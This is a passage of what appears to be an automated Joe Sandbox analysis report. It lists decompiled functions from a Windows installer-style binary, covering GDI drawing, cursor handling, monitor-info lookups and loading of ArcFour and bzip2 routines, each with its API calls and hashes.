                                                          					_push(_t43);
                                                          					_push(0x418f20);
                                                          					_push( *[fs:eax]);
                                                          					 *[fs:eax] = _t46;
                                                          					_t17 =  *0x48d62c; // 0x21c0660
                                                          					E00409BDC(_v8, E00423584(_t17,  *((short*)(_t33 + 0x46))));
                                                          					_t21 =  *0x48d62c; // 0x21c0660
                                                          					E00409BDC(_v8, E00423584(_t21,  *((short*)(_t33 + 0x46))));
                                                          					_push(0);
                                                          					_push(0);
                                                          					_push(0);
                                                          					_push(_v8);
                                                          					L00409C10();
                                                          					_push( &_v16);
                                                          					_push(0);
                                                          					L00409C20();
                                                          					_push(_v12);
                                                          					_push(_v16);
                                                          					_push(1);
                                                          					_push(_v8);
                                                          					L00409C10();
                                                          					_pop(_t41);
                                                          					 *[fs:eax] = _t41;
                                                          					_push(0x418f27);
                                                          					_t31 = _v8;
                                                          					_push(_t31);
                                                          					L00409BC4();
                                                          					return _t31;
                                                          				}
                                                          			}















                                                          0x00418e6d
                                                          0x00418e6f
                                                          0x00418e73
                                                          0x00418e7a
                                                          0x00418f2b
                                                          0x00418e80
                                                          0x00418e80
                                                          0x00418e82
                                                          0x00418e84
                                                          0x00418e8d
                                                          0x00418e90
                                                          0x00418e95
                                                          0x00418e96
                                                          0x00418e9b
                                                          0x00418ea0
                                                          0x00418ea1
                                                          0x00418ea6
                                                          0x00418ea9
                                                          0x00418eb0
                                                          0x00418ebf
                                                          0x00418ec8
                                                          0x00418ed7
                                                          0x00418edc
                                                          0x00418ede
                                                          0x00418ee0
                                                          0x00418ee5
                                                          0x00418ee6
                                                          0x00418eee
                                                          0x00418eef
                                                          0x00418ef1
                                                          0x00418ef9
                                                          0x00418efd
                                                          0x00418efe
                                                          0x00418f03
                                                          0x00418f04
                                                          0x00418f0b
                                                          0x00418f0e
                                                          0x00418f11
                                                          0x00418f16
                                                          0x00418f19
                                                          0x00418f1a
                                                          0x00418f1f
                                                          0x00418f1f

                                                          APIs
                                                          • GetSystemMetrics.USER32 ref: 00418E88
                                                          • GetSystemMetrics.USER32 ref: 00418E90
                                                          • 6F5F7CB0.COMCTL32(00000000,0000000D,00000000,0000000E,00000001,00000001,00000001,?), ref: 00418E96
                                                            • Part of subcall function 00409BDC: 6F5F0620.COMCTL32(?,000000FF,00000000,00418EC4,00000000,00418F20,?,00000000,0000000D,00000000,0000000E,00000001,00000001,00000001,?), ref: 00409BE0
                                                          • 6F64BC60.COMCTL32(?,00000000,00000000,00000000,00000000,00418F20,?,00000000,0000000D,00000000,0000000E,00000001,00000001,00000001,?), ref: 00418EE6
                                                          • 6F64B6C0.COMCTL32(00000000,?,?,00000000,00000000,00000000,00000000,00418F20,?,00000000,0000000D,00000000,0000000E,00000001,00000001,00000001), ref: 00418EF1
                                                          • 6F64BC60.COMCTL32(?,00000001,?,?,00000000,?,?,00000000,00000000,00000000,00000000,00418F20,?,00000000,0000000D,00000000), ref: 00418F04
                                                          • 6F5F7D50.COMCTL32(?,00418F27,?,00000000,?,?,00000000,00000000,00000000,00000000,00418F20,?,00000000,0000000D,00000000,0000000E), ref: 00418F1A
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: MetricsSystem$F0620
                                                          • String ID:
                                                          • API String ID: 1939189656-0
                                                          • Opcode ID: af484ada863fa832f17f119ad9ebaf1f987fe9d44dec7766868518ad51dd80a6
                                                          • Instruction ID: 68909b105c04f4f6bd3f610192843d7fce56e7f6c389e93d535f3de4bf1457d8
                                                          • Opcode Fuzzy Hash: af484ada863fa832f17f119ad9ebaf1f987fe9d44dec7766868518ad51dd80a6
                                                          • Instruction Fuzzy Hash: 61116371B44204BAEB10EBA5DC83F5E73B9EB48714F50446AB604F72C2EAB9AD40C718
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E0041B67A() {
                                                          				void* _t40;
                                                          				void* _t43;
                                                          				void* _t44;
                                                          
                                                          				if( *(_t44 - 0x10) != 0) {
                                                          					_t40 = SelectObject( *(_t44 - 0x18),  *(_t44 - 4));
                                                          					_t43 = SelectObject( *(_t44 - 0x1c),  *(_t44 - 0x10));
                                                          					StretchBlt( *(_t44 - 0x1c), 0, 0,  *(_t44 - 0xc),  *(_t44 - 8),  *(_t44 - 0x18), 0, 0,  *(_t44 - 0x30),  *(_t44 - 0x2c), 0xcc0020);
                                                          					if(_t40 != 0) {
                                                          						SelectObject( *(_t44 - 0x18), _t40);
                                                          					}
                                                          					if(_t43 != 0) {
                                                          						SelectObject( *(_t44 - 0x1c), _t43);
                                                          					}
                                                          				}
                                                          				DeleteDC( *(_t44 - 0x18));
                                                          				DeleteDC( *(_t44 - 0x1c));
                                                          				return  *(_t44 - 0x10);
                                                          			}






                                                          0x0041b67e
                                                          0x0041b68d
                                                          0x0041b69c
                                                          0x0041b6c3
                                                          0x0041b6ca
                                                          0x0041b6d1
                                                          0x0041b6d1
                                                          0x0041b6d8
                                                          0x0041b6df
                                                          0x0041b6df
                                                          0x0041b6d8
                                                          0x0041b6e8
                                                          0x0041b6f1
                                                          0x0041b6ff

                                                          APIs
                                                          • SelectObject.GDI32(00000000,?), ref: 0041B688
                                                          • SelectObject.GDI32(?,00000000), ref: 0041B697
                                                          • StretchBlt.GDI32(?,00000000,00000000,0000000B,?,00000000,00000000,00000000,?,?,00CC0020), ref: 0041B6C3
                                                          • SelectObject.GDI32(00000000,00000000), ref: 0041B6D1
                                                          • SelectObject.GDI32(?,00000000), ref: 0041B6DF
                                                          • DeleteDC.GDI32(00000000), ref: 0041B6E8
                                                          • DeleteDC.GDI32(?), ref: 0041B6F1
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: ObjectSelect$Delete$Stretch
                                                          • String ID:
                                                          • API String ID: 1458357782-0
                                                          • Opcode ID: 662eb367a24eb1d9855068de308936f776896b5eda4f862f2396db1431566e63
                                                          • Instruction ID: e2b81d3ff571744cae9fa4caf7e23546683252680a7c0dd50c3c2924331913d3
                                                          • Opcode Fuzzy Hash: 662eb367a24eb1d9855068de308936f776896b5eda4f862f2396db1431566e63
                                                          • Instruction Fuzzy Hash: D6117872E00619BBDB50EAE9D885FAFB3BCEB08304F104416B614E7281C6789D418BA8
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 45%
                                                          			E00487CF0(struct HDC__* __eax, void* __ebx, long* __ecx, signed int* __edx, void* __edi, void* __esi, void* __eflags) {
                                                          				struct HDC__* _v8;
                                                          				struct tagSIZE _v16;
                                                          				struct tagTEXTMETRICA _v72;
                                                          				signed int _t25;
                                                          				signed int _t26;
                                                          				struct HDC__* _t32;
                                                          				intOrPtr _t41;
                                                          				long* _t43;
                                                          				signed int* _t45;
                                                          				void* _t48;
                                                          
                                                          				_push(__ebx);
                                                          				_push(__esi);
                                                          				_push(__edi);
                                                          				_t43 = __ecx;
                                                          				_t45 = __edx;
                                                          				_push(0);
                                                          				L00406034();
                                                          				_v8 = __eax;
                                                          				_push(_t48);
                                                          				_push(0x487d7c);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t48 + 0xffffffbc;
                                                          				SelectObject(_v8, E0041A400(__eax, __eax, __ecx, __ecx, __edx));
                                                          				GetTextExtentPointA(_v8, "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz", 0x34,  &_v16);
                                                          				asm("cdq");
                                                          				_t25 = _v16.cx / 0x1a + 1;
                                                          				_t26 = _t25 >> 1;
                                                          				if(_t25 < 0) {
                                                          					asm("adc eax, 0x0");
                                                          				}
                                                          				 *_t45 = _t26;
                                                          				GetTextMetricsA(_v8,  &_v72);
                                                          				 *_t43 = _v72.tmHeight;
                                                          				_pop(_t41);
                                                          				 *[fs:eax] = _t41;
                                                          				_push(E00487D83);
                                                          				_t32 = _v8;
                                                          				_push(_t32);
                                                          				_push(0);
                                                          				L0040621C();
                                                          				return _t32;
                                                          			}













                                                          0x00487cf6
                                                          0x00487cf7
                                                          0x00487cf8
                                                          0x00487cf9
                                                          0x00487cfb
                                                          0x00487cff
                                                          0x00487d01
                                                          0x00487d06
                                                          0x00487d0b
                                                          0x00487d0c
                                                          0x00487d11
                                                          0x00487d14
                                                          0x00487d23
                                                          0x00487d37
                                                          0x00487d44
                                                          0x00487d47
                                                          0x00487d48
                                                          0x00487d4a
                                                          0x00487d4c
                                                          0x00487d4c
                                                          0x00487d4f
                                                          0x00487d59
                                                          0x00487d61
                                                          0x00487d65
                                                          0x00487d68
                                                          0x00487d6b
                                                          0x00487d70
                                                          0x00487d73
                                                          0x00487d74
                                                          0x00487d76
                                                          0x00487d7b

                                                          APIs
                                                          • 72E5AC50.USER32(00000000,?,?,00000000), ref: 00487D01
                                                            • Part of subcall function 0041A400: CreateFontIndirectA.GDI32(?), ref: 0041A4BF
                                                          • SelectObject.GDI32(00000000,00000000), ref: 00487D23
                                                          • GetTextExtentPointA.GDI32(00000000,ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz,00000034,00488151), ref: 00487D37
                                                          • GetTextMetricsA.GDI32(00000000,?), ref: 00487D59
                                                          • 72E5B380.USER32(00000000,00000000,00487D83,00487D7C,?,00000000,?,?,00000000), ref: 00487D76
                                                          Strings
                                                          • ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz, xrefs: 00487D2E
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Text$B380CreateExtentFontIndirectMetricsObjectPointSelect
                                                          • String ID: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
                                                          • API String ID: 3658053993-222967699
                                                          • Opcode ID: 5adfaab8178c4f4ef7b9a0c3ea18a5a9c09baf0e3b9e4c019441c7b93d31d22c
                                                          • Instruction ID: d9019e0bb3a9562444bf433db70554f715e948d91cccb9313893eeb3044e37be
                                                          • Opcode Fuzzy Hash: 5adfaab8178c4f4ef7b9a0c3ea18a5a9c09baf0e3b9e4c019441c7b93d31d22c
                                                          • Instruction Fuzzy Hash: 38016576A44604AFD700EBA5CD51F6FB7FCDF48704F614476B604E7281D678AE009B58
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 93%
                                                          			E004235AC(long __eax, short __edx) {
                                                          				struct tagPOINT _v24;
                                                          				long _t7;
                                                          				long _t12;
                                                          				long _t19;
                                                          				struct HWND__* _t26;
                                                          				short _t27;
                                                          				void* _t29;
                                                          				struct tagPOINT* _t30;
                                                          
                                                          				_t7 = __eax;
                                                          				_t30 = _t29 + 0xfffffff8;
                                                          				_t27 = __edx;
                                                          				_t19 = __eax;
                                                          				if(__edx !=  *((intOrPtr*)(__eax + 0x28))) {
                                                          					 *((short*)(__eax + 0x28)) = __edx;
                                                          					if(__edx != 0) {
                                                          						L5:
                                                          						_t7 = SetCursor(E00423584(_t19, _t27));
                                                          					} else {
                                                          						GetCursorPos(_t30);
                                                          						_push(_v24.y);
                                                          						_t26 = WindowFromPoint(_v24);
                                                          						if(_t26 == 0) {
                                                          							goto L5;
                                                          						} else {
                                                          							_t12 = GetWindowThreadProcessId(_t26, 0);
                                                          							if(_t12 != GetCurrentThreadId()) {
                                                          								goto L5;
                                                          							} else {
                                                          								_t7 = SendMessageA(_t26, 0x20, _t26, E00406364(SendMessageA(_t26, 0x84, _v24, _v24.y), 0x200));
                                                          							}
                                                          						}
                                                          					}
                                                          				}
                                                          				return _t7;
                                                          			}











                                                          0x004235ac
                                                          0x004235b0
                                                          0x004235b3
                                                          0x004235b5
                                                          0x004235bb
                                                          0x004235bd
                                                          0x004235c4
                                                          0x00423620
                                                          0x0042362b
                                                          0x004235c6
                                                          0x004235c7
                                                          0x004235cc
                                                          0x004235d9
                                                          0x004235dd
                                                          0x00000000
                                                          0x004235df
                                                          0x004235e2
                                                          0x004235f0
                                                          0x00000000
                                                          0x004235f2
                                                          0x00423619
                                                          0x00423619
                                                          0x004235f0
                                                          0x004235dd
                                                          0x004235c4
                                                          0x00423636

                                                          APIs
                                                          • GetCursorPos.USER32 ref: 004235C7
                                                          • WindowFromPoint.USER32(?,?), ref: 004235D4
                                                          • GetWindowThreadProcessId.USER32(00000000,00000000), ref: 004235E2
                                                          • GetCurrentThreadId.KERNEL32 ref: 004235E9
                                                          • SendMessageA.USER32(00000000,00000084,?,?), ref: 00423602
                                                          • SendMessageA.USER32(00000000,00000020,00000000,00000000), ref: 00423619
                                                          • SetCursor.USER32(00000000), ref: 0042362B
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: CursorMessageSendThreadWindow$CurrentFromPointProcess
                                                          • String ID:
                                                          • API String ID: 1770779139-0
                                                          • Opcode ID: b502ec6814b604d24bae2a1f8125e1db2d26b1b7337267be659f96dd2f702ece
                                                          • Instruction ID: 5367668f19faa394c192bfe58e9fa93efb6ea5591cd296e246658e60e733029d
                                                          • Opcode Fuzzy Hash: b502ec6814b604d24bae2a1f8125e1db2d26b1b7337267be659f96dd2f702ece
                                                          • Instruction Fuzzy Hash: 2201D42230431036D6207F795C82E2F72ACDB84B25F51413FB909AB2C2D93D8D1153AD
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 61%
                                                          			E00487B14(void* __eax, void* __edx) {
                                                          				void _v68;
                                                          				struct HINSTANCE__* _t4;
                                                          				void* _t7;
                                                          				struct HINSTANCE__* _t10;
                                                          				struct HINSTANCE__* _t11;
                                                          				void* _t15;
                                                          				struct HINSTANCE__* _t19;
                                                          				void* _t22;
                                                          				intOrPtr* _t23;
                                                          
                                                          				_t15 = __edx;
                                                          				_t22 = __eax;
                                                          				_t4 = GetModuleHandleA("user32.dll");
                                                          				_t10 = _t4;
                                                          				_push("MonitorFromRect");
                                                          				_push(_t10);
                                                          				L00405AA4();
                                                          				_t19 = _t4;
                                                          				_push("GetMonitorInfoA");
                                                          				_push(_t10);
                                                          				L00405AA4();
                                                          				_t11 = _t4;
                                                          				if(_t19 == 0 || _t11 == 0) {
                                                          					L4:
                                                          					return E00487ADC(_t15);
                                                          				} else {
                                                          					_t7 = _t19->i(_t22, 2);
                                                          					 *_t23 = 0x28;
                                                          					_push(_t23);
                                                          					_push(_t7);
                                                          					if(_t11->i() == 0) {
                                                          						goto L4;
                                                          					}
                                                          					_push(_t15);
                                                          					return memcpy(_t15,  &_v68, 4 << 2);
                                                          				}
                                                          			}












                                                          0x00487b1b
                                                          0x00487b1d
                                                          0x00487b24
                                                          0x00487b29
                                                          0x00487b2b
                                                          0x00487b30
                                                          0x00487b31
                                                          0x00487b36
                                                          0x00487b38
                                                          0x00487b3d
                                                          0x00487b3e
                                                          0x00487b43
                                                          0x00487b47
                                                          0x00487b72
                                                          0x00000000
                                                          0x00487b4d
                                                          0x00487b50
                                                          0x00487b54
                                                          0x00487b5b
                                                          0x00487b5c
                                                          0x00487b61
                                                          0x00000000
                                                          0x00000000
                                                          0x00487b63
                                                          0x00000000
                                                          0x00487b6f

                                                          APIs
                                                          • GetModuleHandleA.KERNEL32(user32.dll), ref: 00487B24
                                                          • 6CAA5550.KERNEL32(00000000,MonitorFromRect,user32.dll), ref: 00487B31
                                                          • 6CAA5550.KERNEL32(00000000,GetMonitorInfoA,00000000,MonitorFromRect,user32.dll), ref: 00487B3E
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: A5550$HandleModule
                                                          • String ID: GetMonitorInfoA$MonitorFromRect$user32.dll
                                                          • API String ID: 3741094953-2254406584
                                                          • Opcode ID: 77250b99fb371581aac03a1f949d14eb25d0cdf680bcb0579a9a3a79cf553930
                                                          • Instruction ID: 2618e4b158f306588fddb4a0b3a1efde636936219e59a5d9e19b2a21ded6cee6
                                                          • Opcode Fuzzy Hash: 77250b99fb371581aac03a1f949d14eb25d0cdf680bcb0579a9a3a79cf553930
                                                          • Instruction Fuzzy Hash: FDF02B527057152BD61076B60CA1F7F21CDCB857A4F640937BD00E7382EAACEC4047AD
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 34%
                                                          			E00459948(intOrPtr __eax) {
                                                          				intOrPtr _t14;
                                                          
                                                          				_push("ISCryptGetVersion");
                                                          				_push(__eax);
                                                          				L00405AA4();
                                                          				 *0x4adf3c = __eax;
                                                          				_push("ArcFourInit");
                                                          				_push(__eax);
                                                          				L00405AA4();
                                                          				 *0x4adf40 = __eax;
                                                          				_push("ArcFourCrypt");
                                                          				_push(__eax);
                                                          				L00405AA4();
                                                          				 *0x4adf44 = __eax;
                                                          				if( *0x4adf3c == 0 ||  *0x4adf40 == 0) {
                                                          					L4:
                                                          					 *0x4adf3c = 0;
                                                          					 *0x4adf40 = 0;
                                                          					 *0x4adf44 = 0;
                                                          					return 0;
                                                          				} else {
                                                          					_t14 =  *0x4adf44;
                                                          					if(_t14 == 0) {
                                                          						goto L4;
                                                          					} else {
                                                          						return  *0x4adf3c() - 0x00000001 & 0xffffff00 | _t14 == 0x00000000;
                                                          					}
                                                          				}
                                                          			}




                                                          0x0045994b
                                                          0x00459950
                                                          0x00459951
                                                          0x00459956
                                                          0x0045995b
                                                          0x00459960
                                                          0x00459961
                                                          0x00459966
                                                          0x0045996b
                                                          0x00459970
                                                          0x00459971
                                                          0x00459976
                                                          0x00459982
                                                          0x004599a2
                                                          0x004599a6
                                                          0x004599ae
                                                          0x004599b6
                                                          0x004599bd
                                                          0x0045998d
                                                          0x0045998d
                                                          0x00459994
                                                          0x00000000
                                                          0x00459996
                                                          0x004599a1
                                                          0x004599a1
                                                          0x00459994

                                                          APIs
                                                          • 6CAA5550.KERNEL32(10000000,ISCryptGetVersion,?,004743A9,00000000,004743D2), ref: 00459951
                                                          • 6CAA5550.KERNEL32(10000000,ArcFourInit,10000000,ISCryptGetVersion,?,004743A9,00000000,004743D2), ref: 00459961
                                                          • 6CAA5550.KERNEL32(10000000,ArcFourCrypt,10000000,ArcFourInit,10000000,ISCryptGetVersion,?,004743A9,00000000,004743D2), ref: 00459971
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: A5550
                                                          • String ID: ArcFourCrypt$ArcFourInit$ISCryptGetVersion
                                                          • API String ID: 3255589654-508647305
                                                          • Opcode ID: 6771e9a318771f0fdf81752e539c59a755b3b623caa0e990500ed0ddbbb6b6cb
                                                          • Instruction ID: 8e1f5012a0d9a6bbf6dd0a3af8a39c3c1ecd97edeb0181f34df01814c1e8ce81
                                                          • Opcode Fuzzy Hash: 6771e9a318771f0fdf81752e539c59a755b3b623caa0e990500ed0ddbbb6b6cb
                                                          • Instruction Fuzzy Hash: 01F0F4F0A116009FDB24DF26AD857677B95EBC9306B08807BB80795AA2DBBC0844DE0C
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 64%
                                                          			E00459E48(intOrPtr __eax) {
                                                          				intOrPtr _t2;
                                                          
                                                          				_push("BZ2_bzDecompressInit");
                                                          				_push(__eax);
                                                          				L00405AA4();
                                                          				 *0x4adf58 = __eax;
                                                          				_push("BZ2_bzDecompress");
                                                          				_push(__eax);
                                                          				L00405AA4();
                                                          				 *0x4adf5c = __eax;
                                                          				_push("BZ2_bzDecompressEnd");
                                                          				_push(__eax);
                                                          				L00405AA4();
                                                          				 *0x4adf60 = __eax;
                                                          				if( *0x4adf58 == 0 ||  *0x4adf5c == 0 ||  *0x4adf60 == 0) {
                                                          					_t2 = 0;
                                                          				} else {
                                                          					_t2 = 1;
                                                          				}
                                                          				if(_t2 == 0) {
                                                          					 *0x4adf58 = 0;
                                                          					 *0x4adf5c = 0;
                                                          					 *0x4adf60 = 0;
                                                          					return _t2;
                                                          				}
                                                          				return _t2;
                                                          			}




                                                          0x00459e4b
                                                          0x00459e50
                                                          0x00459e51
                                                          0x00459e56
                                                          0x00459e5b
                                                          0x00459e60
                                                          0x00459e61
                                                          0x00459e66
                                                          0x00459e6b
                                                          0x00459e70
                                                          0x00459e71
                                                          0x00459e76
                                                          0x00459e82
                                                          0x00459e96
                                                          0x00459e9a
                                                          0x00459e9a
                                                          0x00459e9a
                                                          0x00459e9e
                                                          0x00459ea2
                                                          0x00459eaa
                                                          0x00459eb2
                                                          0x00000000
                                                          0x00459eb2
                                                          0x00459eb9

                                                          APIs
                                                          • 6CAA5550.KERNEL32(00000000,BZ2_bzDecompressInit,?,00474242,00000000,0047426B), ref: 00459E51
                                                          • 6CAA5550.KERNEL32(00000000,BZ2_bzDecompress,00000000,BZ2_bzDecompressInit,?,00474242,00000000,0047426B), ref: 00459E61
                                                          • 6CAA5550.KERNEL32(00000000,BZ2_bzDecompressEnd,00000000,BZ2_bzDecompress,00000000,BZ2_bzDecompressInit,?,00474242,00000000,0047426B), ref: 00459E71
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: A5550
                                                          • String ID: BZ2_bzDecompress$BZ2_bzDecompressEnd$BZ2_bzDecompressInit
                                                          • API String ID: 3255589654-212574377
                                                          • Opcode ID: 40f318fdcff30416d5126557637415d196d6d86968bbbfddca675b61e97a5751
                                                          • Instruction ID: de3c78418231d07227c2df39924708b0e76bef5e17ba46a416235b005087575f
                                                          • Opcode Fuzzy Hash: 40f318fdcff30416d5126557637415d196d6d86968bbbfddca675b61e97a5751
                                                          • Instruction Fuzzy Hash: 29F0A970E00680DEDB14DB269C867673B95A78A306F24953BB80796AE6D77C0849CE1C
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 65%
                                                          			E0044C5B0() {
                                                          				signed int _t1;
                                                          				struct HINSTANCE__* _t4;
                                                          				struct HINSTANCE__* _t5;
                                                          
                                                          				if( *0x48d74c == 0) {
                                                          					_t4 = LoadLibraryA("oleacc.dll");
                                                          					_t5 = _t4;
                                                          					if(_t5 != 0) {
                                                          						_push("LresultFromObject");
                                                          						_push(_t5);
                                                          						L00405AA4();
                                                          						 *0x48d754 = _t4;
                                                          						_push("CreateStdAccessibleObject");
                                                          						_push(_t5);
                                                          						L00405AA4();
                                                          						 *0x48d758 = _t4;
                                                          						if( *0x48d754 != 0 &&  *0x48d758 != 0) {
                                                          							 *0x48d750 = 1;
                                                          						}
                                                          					}
                                                          					 *0x48d74c = 1;
                                                          				}
                                                          				_t1 =  *0x48d750; // 0x0
                                                          				asm("sbb eax, eax");
                                                          				return  ~( ~_t1);
                                                          			}






                                                          0x0044c5b8
                                                          0x0044c5bf
                                                          0x0044c5c4
                                                          0x0044c5c8
                                                          0x0044c5ca
                                                          0x0044c5cf
                                                          0x0044c5d0
                                                          0x0044c5d5
                                                          0x0044c5da
                                                          0x0044c5df
                                                          0x0044c5e0
                                                          0x0044c5e5
                                                          0x0044c5f1
                                                          0x0044c5fc
                                                          0x0044c5fc
                                                          0x0044c5f1
                                                          0x0044c606
                                                          0x0044c606
                                                          0x0044c610
                                                          0x0044c617
                                                          0x0044c61c

                                                          APIs
                                                          • LoadLibraryA.KERNEL32(oleacc.dll,?,0044EE6D), ref: 0044C5BF
                                                          • 6CAA5550.KERNEL32(00000000,LresultFromObject,oleacc.dll,?,0044EE6D), ref: 0044C5D0
                                                          • 6CAA5550.KERNEL32(00000000,CreateStdAccessibleObject,00000000,LresultFromObject,oleacc.dll,?,0044EE6D), ref: 0044C5E0
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: A5550$LibraryLoad
                                                          • String ID: CreateStdAccessibleObject$LresultFromObject$oleacc.dll
                                                          • API String ID: 42768787-1050967733
                                                          • Opcode ID: 7bb195af7243991796f6405f99921774bdea7b113344556df735dc371b6d1cad
                                                          • Instruction ID: d7e0617def1aff07391bfe8eb1b4a1e120b5e21a6a7b584130ac087eefeb3c37
                                                          • Opcode Fuzzy Hash: 7bb195af7243991796f6405f99921774bdea7b113344556df735dc371b6d1cad
                                                          • Instruction Fuzzy Hash: 01F01270A433819AFB50EF65DCC571A37A4E700309F15693EA401A61D2C7BD9484CF0D
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 80%
                                                          			E0044F528() {
                                                          				struct HINSTANCE__* _t5;
                                                          				intOrPtr _t6;
                                                          
                                                          				E00404B7C(0x48c9b4);
                                                          				if( *0x48d034 == 0) {
                                                          					_t6 =  *0x48d020; // 0x44f4f4
                                                          					 *0x48d75c = _t6;
